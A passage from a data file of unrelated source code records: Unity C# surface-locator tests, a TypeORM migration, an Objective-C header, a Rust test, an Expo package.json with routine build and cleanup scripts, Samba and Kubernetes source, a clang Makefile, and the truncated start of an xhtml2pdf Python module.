UnityEventListenerMock();\r\n subject.SurfaceLocated.AddListener(surfaceLocatedMock.Listen);\r\n\r\n validSurface.transform.position = Vector3.forward * 10f;\r\n invalidSurface.transform.position = Vector3.forward * 5f;\r\n invalidSurface.AddComponent<RuleStub>();\r\n NegationRule negationRule = invalidSurface.AddComponent<NegationRule>();\r\n AnyComponentTypeRule anyComponentTypeRule = invalidSurface.AddComponent<AnyComponentTypeRule>();\r\n SerializableTypeComponentObservableList rules = containingObject.AddComponent<SerializableTypeComponentObservableList>();\r\n yield return null;\r\n\r\n anyComponentTypeRule.ComponentTypes = rules;\r\n rules.Add(typeof(RuleStub));\r\n\r\n negationRule.Rule = new RuleContainer\r\n {\r\n Interface = anyComponentTypeRule\r\n };\r\n subject.TargetValidity = new RuleContainer\r\n {\r\n Interface = negationRule\r\n };\r\n\r\n subject.SearchOrigin = searchOrigin;\r\n subject.SearchDirection = Vector3.forward;\r\n\r\n yield return waitForFixedUpdate;\r\n subject.Locate();\r\n yield return waitForFixedUpdate;\r\n Assert.IsTrue(surfaceLocatedMock.Received);\r\n Assert.AreEqual(validSurface.transform, subject.surfaceData.Transform);\r\n\r\n Object.DestroyImmediate(invalidSurface);\r\n Object.DestroyImmediate(validSurface);\r\n Object.DestroyImmediate(searchOrigin);\r\n }\r\n\r\n [UnityTest]\r\n public IEnumerator InvalidSurfaceDueToTargetPointValidity()\r\n {\r\n Physics.autoSimulation = true;\r\n\r\n GameObject invalidSurface = GameObject.CreatePrimitive(PrimitiveType.Cube);\r\n GameObject searchOrigin = new GameObject(\"SearchOrigin\");\r\n\r\n UnityEventListenerMock surfaceLocatedMock = new UnityEventListenerMock();\r\n subject.SurfaceLocated.AddListener(surfaceLocatedMock.Listen);\r\n\r\n invalidSurface.transform.position = Vector3.forward * 5f;\r\n invalidSurface.AddComponent<RuleStub>();\r\n NegationRule negationRule = invalidSurface.AddComponent<NegationRule>();\r\n Vector3RuleStub vector3Point = invalidSurface.AddComponent<Vector3RuleStub>();\r\n vector3Point.toMatch = invalidSurface.transform.position - (Vector3.forward * invalidSurface.transform.localScale.z * 0.5f);\r\n yield return null;\r\n\r\n negationRule.Rule = new RuleContainer\r\n {\r\n Interface = vector3Point\r\n };\r\n subject.TargetPointValidity = new RuleContainer\r\n {\r\n Interface = negationRule\r\n };\r\n\r\n subject.SearchOrigin = searchOrigin;\r\n subject.SearchDirection = Vector3.forward;\r\n\r\n yield return waitForFixedUpdate;\r\n subject.Locate();\r\n\r\n yield return waitForFixedUpdate;\r\n Assert.IsFalse(surfaceLocatedMock.Received);\r\n Assert.IsNull(subject.surfaceData.Transform);\r\n\r\n Object.DestroyImmediate(invalidSurface);\r\n Object.DestroyImmediate(searchOrigin);\r\n }\r\n\r\n\r\n [UnityTest]\r\n public IEnumerator ValidSurfaceDueToTargetPointValidity()\r\n {\r\n Physics.autoSimulation = true;\r\n\r\n GameObject validSurface = GameObject.CreatePrimitive(PrimitiveType.Cube);\r\n GameObject searchOrigin = new GameObject(\"SearchOrigin\");\r\n\r\n UnityEventListenerMock surfaceLocatedMock = new UnityEventListenerMock();\r\n subject.SurfaceLocated.AddListener(surfaceLocatedMock.Listen);\r\n\r\n validSurface.transform.position = Vector3.forward * 5f;\r\n Vector3RuleStub vector3Point = validSurface.AddComponent<Vector3RuleStub>();\r\n vector3Point.toMatch = validSurface.transform.position - (Vector3.forward * validSurface.transform.localScale.z * 0.5f);\r\n yield return null;\r\n\r\n subject.TargetPointValidity = new RuleContainer\r\n {\r\n Interface = vector3Point\r\n };\r\n\r\n subject.SearchOrigin = searchOrigin;\r\n subject.SearchDirection = Vector3.forward;\r\n\r\n yield return waitForFixedUpdate;\r\n subject.Locate();\r\n yield return waitForFixedUpdate;\r\n Assert.IsTrue(surfaceLocatedMock.Received);\r\n Assert.AreEqual(validSurface.transform, subject.surfaceData.Transform);\r\n\r\n Object.DestroyImmediate(validSurface);\r\n Object.DestroyImmediate(searchOrigin);\r\n }\r\n\r\n [UnityTest]\r\n public IEnumerator MissingSurfaceDueToLocatorTermination()\r\n {\r\n Physics.autoSimulation = true;\r\n\r\n GameObject terminatingSurface = GameObject.CreatePrimitive(PrimitiveType.Cube);\r\n GameObject searchOrigin = new GameObject(\"SearchOrigin\");\r\n\r\n UnityEventListenerMock surfaceLocatedMock = new UnityEventListenerMock();\r\n subject.SurfaceLocated.AddListener(surfaceLocatedMock.Listen);\r\n\r\n terminatingSurface.transform.position = Vector3.forward * 5f;\r\n terminatingSurface.AddComponent<RuleStub>();\r\n\r\n AnyComponentTypeRule anyComponentTypeRule = terminatingSurface.AddComponent<AnyComponentTypeRule>();\r\n SerializableTypeComponentObservableList rules = containingObject.AddComponent<SerializableTypeComponentObservableList>();\r\n yield return null;\r\n\r\n anyComponentTypeRule.ComponentTypes = rules;\r\n rules.Add(typeof(RuleStub));\r\n\r\n subject.LocatorTermination = new RuleContainer\r\n {\r\n Interface = anyComponentTypeRule\r\n };\r\n\r\n subject.SearchOrigin = searchOrigin;\r\n subject.SearchDirection = Vector3.forward;\r\n\r\n yield return waitForFixedUpdate;\r\n subject.Locate();\r\n yield return waitForFixedUpdate;\r\n Assert.IsFalse(surfaceLocatedMock.Received);\r\n Assert.IsNull(subject.surfaceData.Transform);\r\n\r\n Object.DestroyImmediate(terminatingSurface);\r\n Object.DestroyImmediate(searchOrigin);\r\n }\r\n\r\n [UnityTest]\r\n public IEnumerator NoSurfaceDueToLocatorTermination()\r\n {\r\n Physics.autoSimulation = true;\r\n\r\n GameObject terminatingSurface = GameObject.CreatePrimitive(PrimitiveType.Cube);\r\n GameObject validSurface = GameObject.CreatePrimitive(PrimitiveType.Cube);\r\n GameObject searchOrigin = new GameObject(\"SearchOrigin\");\r\n\r\n UnityEventListenerMock surfaceLocatedMock = new UnityEventListenerMock();\r\n subject.SurfaceLocated.AddListener(surfaceLocatedMock.Listen);\r\n\r\n validSurface.transform.position = Vector3.forward * 10f;\r\n terminatingSurface.transform.position = Vector3.forward * 5f;\r\n terminatingSurface.AddComponent<RuleStub>();\r\n\r\n AnyComponentTypeRule anyComponentTypeRule = terminatingSurface.AddComponent<AnyComponentTypeRule>();\r\n SerializableTypeComponentObservableList rules = containingObject.AddComponent<SerializableTypeComponentObservableList>();\r\n yield return null;\r\n\r\n anyComponentTypeRule.ComponentTypes = rules;\r\n rules.Add(typeof(RuleStub));\r\n\r\n subject.LocatorTermination = new RuleContainer\r\n {\r\n Interface = anyComponentTypeRule\r\n };\r\n\r\n subject.SearchOrigin = searchOrigin;\r\n subject.SearchDirection = Vector3.forward;\r\n\r\n yield return waitForFixedUpdate;\r\n subject.Locate();\r\n yield return waitForFixedUpdate;\r\n Assert.IsFalse(surfaceLocatedMock.Received);\r\n Assert.IsNull(subject.surfaceData.Transform);\r\n\r\n Object.DestroyImmediate(terminatingSurface);\r\n Object.DestroyImmediate(validSurface);\r\n Object.DestroyImmediate(searchOrigin);\r\n }\r\n\r\n [UnityTest]\r\n public IEnumerator NoSurfaceDueToLocatorTerminationWithMidInvalidTarget()\r\n {\r\n Physics.autoSimulation = true;\r\n\r\n GameObject invalidSurface = GameObject.CreatePrimitive(PrimitiveType.Cube);\r\n GameObject terminatingSurface = GameObject.CreatePrimitive(PrimitiveType.Cube);\r\n GameObject validSurface = GameObject.CreatePrimitive(PrimitiveType.Cube);\r\n GameObject searchOrigin = new GameObject(\"SearchOrigin\");\r\n\r\n UnityEventListenerMock surfaceLocatedMock = new UnityEventListenerMock();\r\n subject.SurfaceLocated.AddListener(surfaceLocatedMock.Listen);\r\n\r\n validSurface.transform.position = Vector3.forward * 15f;\r\n terminatingSurface.transform.position = Vector3.forward * 10f;\r\n terminatingSurface.AddComponent<RuleStub>();\r\n\r\n AnyComponentTypeRule anyComponentTypeLocatorTerminationRule = terminatingSurface.AddComponent<AnyComponentTypeRule>();\r\n SerializableTypeComponentObservableList locatorTerminationRules = containingObject.AddComponent<SerializableTypeComponentObservableList>();\r\n yield return null;\r\n\r\n anyComponentTypeLocatorTerminationRule.ComponentTypes = locatorTerminationRules;\r\n locatorTerminationRules.Add(typeof(RuleStub));\r\n\r\n subject.LocatorTermination = new RuleContainer\r\n {\r\n Interface = anyComponentTypeLocatorTerminationRule\r\n };\r\n\r\n yield return null;\r\n\r\n invalidSurface.transform.position = Vector3.forward * 5f;\r\n invalidSurface.AddComponent<AudioListener>();\r\n NegationRule negationRule = invalidSurface.AddComponent<NegationRule>();\r\n AnyComponentTypeRule anyComponentTypeTargetValidityRule = invalidSurface.AddComponent<AnyComponentTypeRule>();\r\n SerializableTypeComponentObservableList targetValidityRules = containingObject.AddComponent<SerializableTypeComponentObservableList>();\r\n yield return null;\r\n\r\n anyComponentTypeTargetValidityRule.ComponentTypes = targetValidityRules;\r\n targetValidityRules.Add(typeof(AudioListener));\r\n\r\n negationRule.Rule = new RuleContainer\r\n {\r\n Interface = anyComponentTypeTargetValidityRule\r\n };\r\n subject.TargetValidity = new RuleContainer\r\n {\r\n Interface = negationRule\r\n };\r\n\r\n subject.SearchOrigin = searchOrigin;\r\n subject.SearchDirection = Vector3.forward;\r\n\r\n yield return waitForFixedUpdate;\r\n subject.Locate();\r\n yield return waitForFixedUpdate;\r\n Assert.IsFalse(surfaceLocatedMock.Received);\r\n Assert.IsNull(subject.surfaceData.Transform);\r\n\r\n Object.DestroyImmediate(invalidSurface);\r\n Object.DestroyImmediate(terminatingSurface);\r\n Object.DestroyImmediate(validSurface);\r\n Object.DestroyImmediate(searchOrigin);\r\n }\r\n\r\n [Test]\r\n public void EventsNotEmittedOnInactiveGameObject()\r\n {\r\n GameObject validSurface = GameObject.CreatePrimitive(PrimitiveType.Cube);\r\n GameObject searchOrigin = new GameObject(\"SearchOrigin\");\r\n\r\n UnityEventListenerMock surfaceLocatedMock = new UnityEventListenerMock();\r\n subject.SurfaceLocated.AddListener(surfaceLocatedMock.Listen);\r\n\r\n validSurface.transform.position = Vector3.forward * 5f;\r\n\r\n subject.SearchOrigin = searchOrigin;\r\n subject.SearchDirection = Vector3.forward;\r\n subject.gameObject.SetActive(false);\r\n Physics.Simulate(Time.fixedDeltaTime);\r\n subject.Process();\r\n\r\n Assert.IsFalse(surfaceLocatedMock.Received);\r\n\r\n Object.DestroyImmediate(validSurface);\r\n Object.DestroyImmediate(searchOrigin);\r\n }\r\n\r\n [Test]\r\n public void EventsNotEmittedOnDisabledComponent()\r\n {\r\n GameObject validSurface = GameObject.CreatePrimitive(PrimitiveType.Cube);\r\n GameObject searchOrigin = new GameObject(\"SearchOrigin\");\r\n\r\n UnityEventListenerMock surfaceLocatedMock = new UnityEventListenerMock();\r\n subject.SurfaceLocated.AddListener(surfaceLocatedMock.Listen);\r\n\r\n validSurface.transform.position = Vector3.forward * 5f;\r\n\r\n subject.SearchOrigin = searchOrigin;\r\n subject.SearchDirection = Vector3.forward;\r\n subject.enabled = false;\r\n Physics.Simulate(Time.fixedDeltaTime);\r\n subject.Process();\r\n\r\n Assert.IsFalse(surfaceLocatedMock.Received);\r\n\r\n Object.DestroyImmediate(validSurface);\r\n Object.DestroyImmediate(searchOrigin);\r\n }\r\n\r\n [UnityTest]\r\n public IEnumerator NearestSurface()\r\n {\r\n Physics.autoSimulation = true;\r\n\r\n GameObject validSurface = GameObject.CreatePrimitive(PrimitiveType.Cube);\r\n GameObject validSurface2 = GameObject.CreatePrimitive(PrimitiveType.Cube);\r\n GameObject searchOrigin = new GameObject(\"SearchOrigin\");\r\n validSurface.name = \"validSurface\";\r\n validSurface2.name = \"validSurface2\";\r\n\r\n UnityEventListenerMock surfaceLocatedMock = new UnityEventListenerMock();\r\n subject.SurfaceLocated.AddListener(surfaceLocatedMock.Listen);\r\n\r\n validSurface.AddComponent<RuleStub>();\r\n AnyComponentTypeRule anyComponentTypeRule = validSurface.AddComponent<AnyComponentTypeRule>();\r\n validSurface2.AddComponent<RuleStub>();\r\n\r\n SerializableTypeComponentObservableList rules = containingObject.AddComponent<SerializableTypeComponentObservableList>();\r\n yield return null;\r\n\r\n anyComponentTypeRule.ComponentTypes = rules;\r\n rules.Add(typeof(RuleStub));\r\n\r\n subject.TargetValidity = new RuleContainer\r\n {\r\n Interface = anyComponentTypeRule\r\n };\r\n\r\n subject.SearchOrigin = searchOrigin;\r\n subject.SearchDirection = Vector3.forward;\r\n\r\n validSurface.transform.position = Vector3.forward * 5f;\r\n validSurface2.transform.position = Vector3.forward * 4.9f;\r\n GameObject nearestSurface = validSurface2;\r\n\r\n yield return waitForFixedUpdate;\r\n subject.Locate();\r\n yield return waitForFixedUpdate;\r\n Assert.IsTrue(surfaceLocatedMock.Received);\r\n Assert.IsTrue(nearestSurface.transform == subject.surfaceData.Transform, \"The returned surfaceData.Transform is not the nearest\");\r\n\r\n Object.DestroyImmediate(validSurface);\r\n Object.DestroyImmediate(validSurface2);\r\n Object.DestroyImmediate(searchOrigin);\r\n }\r\n }\r\n}"} {"text": "import {MigrationInterface, QueryRunner} from \"typeorm\";\n\nexport class userDeathDateTypeFix1566466897538 implements MigrationInterface {\n\n public async up(queryRunner: QueryRunner): Promise<any> {\n await queryRunner.query(`ALTER TABLE \"users\" DROP COLUMN \"deathtime\"`);\n await queryRunner.query(`ALTER TABLE \"users\" ADD \"deathtime\" TIME`);\n }\n\n public async down(queryRunner: QueryRunner): Promise<any> {\n await queryRunner.query(`ALTER TABLE \"users\" DROP COLUMN \"deathtime\"`);\n await queryRunner.query(`ALTER TABLE \"users\" ADD \"deathtime\" TIME WITH TIME ZONE`);\n }\n\n}\n"} {"text": "//\n// DCValueConverter.h\n// DCKeyValueObjectMapping\n//\n// Created by Diego Chohfi on 4/13/12.\n// Copyright (c) 2012 None. All rights reserved.\n//\n\n#import <Foundation/Foundation.h>\n\n@class DCDynamicAttribute, DCParserConfiguration;\n\n@protocol DCValueConverter <NSObject>\n\n@required\n- (id)transformValue:(id)value forDynamicAttribute:(DCDynamicAttribute *)attribute dictionary:(NSDictionary *)dictionary parentObject:(id)parentObject;\n- (id)serializeValue:(id)value forDynamicAttribute:(DCDynamicAttribute *)attribute;\n- (BOOL)canTransformValueForClass:(Class)cls;\n\n@end\n"} {"text": "// run-pass\n#![allow(dead_code)]\n// Test that this fairly specialized, but also reasonable, pattern\n// typechecks. The pattern involves regions bound in closures that\n// wind up related to inference variables.\n//\n// NB. Changes to the region implementations have broken this pattern\n// a few times, but it happens to be used in the compiler so those\n// changes were caught. However, those uses in the compiler could\n// easily get changed or refactored away in the future.\n\n#![feature(box_syntax)]\n\nstruct Ctxt<'tcx> {\n x: &'tcx Vec<isize>\n}\n\nstruct Foo<'a,'tcx:'a> {\n cx: &'a Ctxt<'tcx>,\n}\n\nimpl<'a,'tcx> Foo<'a,'tcx> {\n fn bother(&mut self) -> isize {\n self.elaborate_bounds(Box::new(|this| {\n // (*) Here: type of `this` is `&'f0 Foo<&'f1, '_2>`,\n // where `'f0` and `'f1` are fresh, free regions that\n // result from the bound regions on the closure, and `'2`\n // is a region inference variable created by the call. Due\n // to the constraints on the type, we find that `'_2 : 'f1\n // + 'f2` must hold (and can be assumed by the callee).\n // Region inference has to do some clever stuff to avoid\n // inferring `'_2` to be `'static` in this case, because\n // it is created outside the closure but then related to\n // regions bound by the closure itself. See the\n // `region_constraints.rs` file (and the `givens` field, in\n // particular) for more details.\n this.foo()\n }))\n }\n\n fn foo(&mut self) -> isize {\n 22\n }\n\n fn elaborate_bounds(\n &mut self,\n mut mk_cand: Box<dyn for<'b> FnMut(&mut Foo<'b, 'tcx>) -> isize>)\n -> isize\n {\n mk_cand(self)\n }\n}\n\nfn main() {\n let v = vec![];\n let cx = Ctxt { x: &v };\n let mut foo = Foo { cx: &cx };\n assert_eq!(foo.bother(), 22); // just so the code is not dead, basically\n}\n"} {"text": "{\n \"name\": \"bare-expo\",\n \"version\": \"0.0.1\",\n \"private\": true,\n \"scripts\": {\n \"postinstall\": \"expo-yarn-workspaces postinstall\",\n \"android\": \"export NODE_ENV=\\\"development\\\" && ./scripts/start-emulator.sh\",\n \"android:clean\": \"pushd android; rm -rf ./.gradle && ./gradlew --configure-on-demand; popd\",\n \"ios\": \"export NODE_ENV=\\\"development\\\" && ./scripts/start-simulator.sh\",\n \"test:ios\": \"export NODE_ENV=\\\"test\\\" && ./scripts/start-simulator.sh\",\n \"test:android\": \"export NODE_ENV=\\\"test\\\" && ./scripts/start-emulator.sh\",\n \"test:web:debug\": \"EXPO_WEB_E2E_ENV=development jest -c e2e/jest.config.web.json\",\n \"test:web\": \"EXPO_WEB_E2E_ENV=development jest -c e2e/jest.config.web.json\",\n \"test:web:prod\": \"EXPO_WEB_E2E_ENV=production jest -c e2e/jest.config.web.json\",\n \"edit:android\": \"open -a /Applications/Android\\\\ Studio.app ./android\",\n \"edit:ios\": \"open -a Xcode ./ios/BareExpo.xcworkspace\",\n \"web\": \"expo start:web --https\",\n \"build:web\": \"expo build:web --no-pwa\",\n \"start\": \"react-native start --reset-cache\",\n \"clear-metro\": \"watchman watch-del-all && rm -rf /tmp/metro-bundler-cache-* && rm -rf /tmp/haste-map-react-native-packager-*\",\n \"clear-ios-build\": \"rm -rf ios/build/; kill $(lsof -t -i:8081)\",\n \"test\": \"jest\",\n \"detox:clean\": \"detox clean-framework-cache && detox build-framework-cache\",\n \"android:detox:build:debug\": \"detox build -c android.emu.debug\",\n \"android:detox:build:release\": \"detox build -c android.emu.release\",\n \"android:detox:test:debug\": \"detox test -c android.emu.debug --loglevel warn\",\n \"android:detox:test:release\": \"watchman watch-del-all; detox test -c android.emu.release -l verbose --cleanup\",\n \"ios:detox:build:debug\": \"detox build -c ios.sim.debug\",\n \"ios:detox:build:release\": \"detox build -c ios.sim.release\",\n \"ios:detox:test:debug\": \"detox test -c ios.sim.debug --loglevel warn --take-screenshots failing\",\n \"ios:detox:test:release\": \"watchman watch-del-all; detox test -c ios.sim.release -l verbose --cleanup --take-screenshots failing\",\n \"open\": \"./scripts/deep-link.sh test-suite\",\n \"nuke\": \"rm -rf node_modules; rm -rf ios/Pods/ && rm -rf ios/build/ && rm -rf android/.gradle\",\n \"sync:tools\": \"cp -a ../../../react-native/React/DevSupport/ ../../react-native-lab/react-native/React/DevSupport/\"\n },\n \"excludedUnimodules\": [\n \"expo-branch\",\n \"expo-camera\",\n \"expo-face-detector\",\n \"unimodules-face-detector-interface\",\n \"expo-payments-stripe\",\n \"expo-ads-facebook\",\n \"expo-ads-admob\",\n \"expo-apple-authentication\",\n \"expo-updates\",\n \"expo-splash-screen\",\n \"expo-module-template\"\n ],\n \"detox\": {\n \"configurations\": {\n \"ios.sim.debug\": {\n \"binaryPath\": \"ios/build/Build/Products/Debug-iphonesimulator/Bare Expo.app\",\n \"build\": \"./scripts/build-detox-ios.sh Debug\",\n \"type\": \"ios.simulator\",\n \"name\": \"iPhone 11\"\n },\n \"ios.sim.release\": {\n \"binaryPath\": \"ios/build/Build/Products/Release-iphonesimulator/Bare Expo.app\",\n \"build\": \"./scripts/build-detox-ios.sh Release YES\",\n \"type\": \"ios.simulator\",\n \"name\": \"iPhone 11\"\n },\n \"android.emu.debug\": {\n \"binaryPath\": \"android/app/build/outputs/apk/debug/app-debug.apk\",\n \"build\": \"cd android && ./gradlew assembleDebug assembleAndroidTest -DtestBuildType=debug && cd ..\",\n \"type\": \"android.emulator\",\n \"name\": \"bare-expo\"\n },\n \"android.emu.release\": {\n \"binaryPath\": \"android/app/build/outputs/apk/release/app-release.apk\",\n \"build\": \"cd android && ./gradlew assembleRelease assembleAndroidTest -DtestBuildType=release && cd ..\",\n \"type\": \"android.emulator\",\n \"name\": \"bare-expo\"\n }\n },\n \"runner-config\": \"./e2e/jest.config.json\",\n \"test-runner\": \"jest\"\n },\n \"dependencies\": {\n \"@babel/runtime\": \"^7.5.5\",\n \"@react-native-community/async-storage\": \"~1.12.0\",\n \"@react-native-community/datetimepicker\": \"3.0.0\",\n \"@react-native-community/masked-view\": \"^0.1.10\",\n \"@react-native-community/netinfo\": \"5.9.6\",\n \"@react-native-community/picker\": \"1.6.6\",\n \"@react-native-community/segmented-control\": \"2.1.1\",\n \"@react-native-community/slider\": \"3.0.3\",\n \"@react-native-community/viewpager\": \"4.1.6\",\n \"expo\": \"~39.0.1\",\n \"expo-dev-menu\": \"0.0.2\",\n \"expo-development-client\": \"0.0.3\",\n \"expo-image\": \"~1.0.0-alpha.0\",\n \"expo-notifications\": \"~0.7.1\",\n \"expo-yarn-workspaces\": \"^1.2.1\",\n \"native-component-list\": \"*\",\n \"react\": \"16.13.1\",\n \"react-dom\": \"16.13.1\",\n \"react-native\": \"0.63.2\",\n \"react-native-appearance\": \"~0.3.3\",\n \"react-native-gesture-handler\": \"~1.7.0\",\n \"react-native-reanimated\": \"~1.13.0\",\n \"react-native-safe-area-context\": \"3.1.4\",\n \"react-native-screens\": \"~2.10.1\",\n \"react-native-shared-element\": \"0.7.0\",\n \"react-native-svg\": \"12.1.0\",\n \"react-native-unimodules\": \"~0.11.0\",\n \"react-native-view-shot\": \"3.1.2\",\n \"react-native-webview\": \"10.7.0\",\n \"test-suite\": \"*\"\n },\n \"devDependencies\": {\n \"@babel/core\": \"^7.0.0\",\n \"@types/react\": \"~16.9.41\",\n \"@types/react-native\": \"~0.63.2\",\n \"babel-plugin-module-resolver\": \"^4.0.0\",\n \"babel-preset-expo\": \"~8.3.0\",\n \"detox\": \"^17.3.1\",\n \"expo-module-scripts\": \"~1.2.0\",\n \"expo-yarn-workspaces\": \"^1.2.1\",\n \"jest-expo\": \"~39.0.0\",\n \"jest-expo-puppeteer\": \"^1.0.3\",\n \"puppeteer\": \"^2.1.1\"\n }\n}\n"} {"text": "/*\n Unix SMB/CIFS implementation.\n Low-level sessionid.tdb access functions\n Copyright (C) Volker Lendecke 2010\n\n This program is free software; you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 3 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program. If not, see <http://www.gnu.org/licenses/>.\n*/\n\n#include \"includes.h\"\n#include \"system/filesys.h\"\n#include \"dbwrap/dbwrap.h\"\n#include \"dbwrap/dbwrap_open.h\"\n#include \"session.h\"\n#include \"util_tdb.h\"\n#include \"smbd/globals.h\"\n\nstruct sessionid_traverse_read_state {\n\tint (*fn)(const char *key, struct sessionid *session,\n\t\t void *private_data);\n\tvoid *private_data;\n};\n\nstatic int sessionid_traverse_read_fn(struct smbXsrv_session_global0 *global,\n\t\t\t\t void *private_data)\n{\n\tstruct sessionid_traverse_read_state *state =\n\t\t(struct sessionid_traverse_read_state *)private_data;\n\tstruct auth_session_info *session_info = global->auth_session_info;\n\tstruct sessionid session = {\n\t\t.uid = -1,\n\t\t.gid = -1,\n\t\t.id_num = global->session_global_id,\n\t\t.connect_start = nt_time_to_unix(global->creation_time),\n\t\t.pid = global->channels[0].server_id,\n\t\t.connection_dialect = global->connection_dialect,\n\t};\n\n\tif (session_info != NULL) {\n\t\tsession.uid = session_info->unix_token->uid;\n\t\tsession.gid = session_info->unix_token->gid;\n\t\tstrncpy(session.username,\n\t\t\tsession_info->unix_info->unix_name,\n\t\t\tsizeof(fstring)-1);\n\t}\n\n\tstrncpy(session.remote_machine,\n\t\tglobal->channels[0].remote_name,\n\t\tsizeof(fstring)-1);\n\tstrncpy(session.hostname,\n\t\tglobal->channels[0].remote_address,\n\t\tsizeof(fstring)-1);\n\tstrncpy(session.netbios_name,\n\t\tglobal->channels[0].remote_name,\n\t\tsizeof(fstring)-1);\n\tsnprintf(session.id_str, sizeof(fstring)-1,\n\t\t \"smb/%u\", global->session_global_id);\n\tstrncpy(session.ip_addr_str,\n\t\tglobal->channels[0].remote_address,\n\t\tsizeof(fstring)-1);\n\n\tsession.encryption_flags = global->encryption_flags;\n\tsession.cipher = global->channels[0].encryption_cipher;\n\tsession.signing_flags = global->signing_flags;\n\n\treturn state->fn(NULL, &session, state->private_data);\n}\n\nNTSTATUS sessionid_traverse_read(int (*fn)(const char *key,\n\t\t\t\t\t struct sessionid *session,\n\t\t\t\t\t void *private_data),\n\t\t\t\t void *private_data)\n{\n\tstruct sessionid_traverse_read_state state;\n\tNTSTATUS status;\n\n\tstate.fn = fn;\n\tstate.private_data = private_data;\n\tstatus = smbXsrv_session_global_traverse(sessionid_traverse_read_fn,\n\t\t\t\t\t\t &state);\n\n\treturn status;\n}\n"} {"text": "/*\nCopyright 2017 The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage v1\n\nimport (\n\t\"k8s.io/apimachinery/pkg/runtime\"\n)\n\nfunc addConversionFuncs(scheme *runtime.Scheme) error {\n\t// Add non-generated conversion functions here. Currently there are none.\n\treturn nil\n}\n"} {"text": "\nCC = clang$(TOOLCHAIN_SUFFIX) \nCXX = clang++$(TOOLCHAIN_SUFFIX) \nLD = clang++$(TOOLCHAIN_SUFFIX) \nAR = ar$(TOOLCHAIN_SUFFIX) \n\nifneq ($(STDCXX),)\nCXXFLAGS_STDCXX = -std=$(STDCXX)\nelse\nifeq ($(shell printf '\\n' > bin/empty.cpp ; if $(CXX) -std=c++17 -c bin/empty.cpp -o bin/empty.out > /dev/null 2>&1 ; then echo 'c++17' ; fi ), c++17)\nCXXFLAGS_STDCXX = -std=c++17\nelse\nifeq ($(shell printf '\\n' > bin/empty.cpp ; if $(CXX) -std=c++14 -c bin/empty.cpp -o bin/empty.out > /dev/null 2>&1 ; then echo 'c++14' ; fi ), c++14)\nCXXFLAGS_STDCXX = -std=c++14\nelse\nifeq ($(shell printf '\\n' > bin/empty.cpp ; if $(CXX) -std=c++11 -c bin/empty.cpp -o bin/empty.out > /dev/null 2>&1 ; then echo 'c++11' ; fi ), c++11)\nCXXFLAGS_STDCXX = -std=c++11\nendif\nendif\nendif\nendif\nCFLAGS_STDC = -std=c99\nCXXFLAGS += $(CXXFLAGS_STDCXX)\nCFLAGS += $(CFLAGS_STDC)\n\nCPPFLAGS +=\nCXXFLAGS += -fPIC\nCFLAGS += -fPIC\nLDFLAGS += \nLDLIBS += -lm\nARFLAGS := rcs\n\nifeq ($(CHECKED_ADDRESS),1)\nCXXFLAGS += -fsanitize=address\nCFLAGS += -fsanitize=address\nendif\n\nifeq ($(CHECKED_UNDEFINED),1)\nCXXFLAGS += -fsanitize=undefined\nCFLAGS += -fsanitize=undefined\nendif\n\nCXXFLAGS_WARNINGS += -Wmissing-declarations -Wshift-count-negative -Wshift-count-overflow -Wshift-overflow -Wshift-sign-overflow -Wshift-op-parentheses\nCFLAGS_WARNINGS += -Wmissing-prototypes -Wshift-count-negative -Wshift-count-overflow -Wshift-overflow -Wshift-sign-overflow -Wshift-op-parentheses\n\n#CXXFLAGS_WARNINGS += -Wdocumentation\n#CXXFLAGS_WARNINGS += -Wconversion\n#CXXFLAGS_WARNINGS += -Weverything -Wno-c++98-compat -Wno-c++98-compat-pedantic -Wno-padded -Wno-shadow -Wno-sign-conversion -Wno-weak-vtables\n\nifeq ($(MODERN),1)\nLDFLAGS += -fuse-ld=lld\nCXXFLAGS_WARNINGS += -Wpedantic -Wframe-larger-than=20000\n#CXXFLAGS_WARNINGS += -Wdouble-promotion -Wframe-larger-than=16000\nCFLAGS_WARNINGS += -Wpedantic -Wframe-larger-than=4000\n#CFLAGS_WARNINGS += -Wdouble-promotion\nLDFLAGS_WARNINGS += -Wl,-no-undefined -Wl,--detect-odr-violations\nCXXFLAGS_WARNINGS += -Wdeprecated -Wextra-semi -Wnon-virtual-dtor -Wreserved-id-macro\nendif\n\nCFLAGS_SILENT += -Wno-unused-parameter -Wno-unused-function -Wno-cast-qual\n\nEXESUFFIX=\n"} {"text": "# -*- coding: utf-8 -*-\n\n# Copyright 2010 Dirk Holtwick, holtwick.it\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom hashlib import md5\nfrom reportlab.lib.enums import TA_RIGHT\nfrom reportlab.lib.styles import ParagraphStyle\nfrom reportlab.lib.utils import flatten, open_for_read, getStringIO, \\\n LazyImageReader, haveImages\nfrom reportlab.platypus.doctemplate import BaseDocTemplate, PageTemplate, IndexingFlowable\nfrom reportlab.platypus.flowables import Flowable, CondPageBreak, \\\n KeepInFrame, ParagraphAndImage\nfrom reportlab.platypus.tableofcontents import TableOfContents\nfrom reportlab.platypus.tables import Table, TableStyle\nfrom xhtml2pdf.reportlab_paragraph import Paragraph\nfrom xhtml2pdf.util import getUID, getBorderStyle\nfrom types import StringType, TupleType, ListType, IntType\nimport StringIO\nimport cgi\nimport copy\nimport logging\nimport reportlab.pdfbase.pdfform as pdfform\nimport sys\n\n\ntry:\n import PIL.Image as PILImage\nexcept:\n try:\n import Image as PILImage\n except:\n PILImage = None\n\nlog = logging.getLogger(\"xhtml2pdf\")\n\nMAX_IMAGE_RATIO = 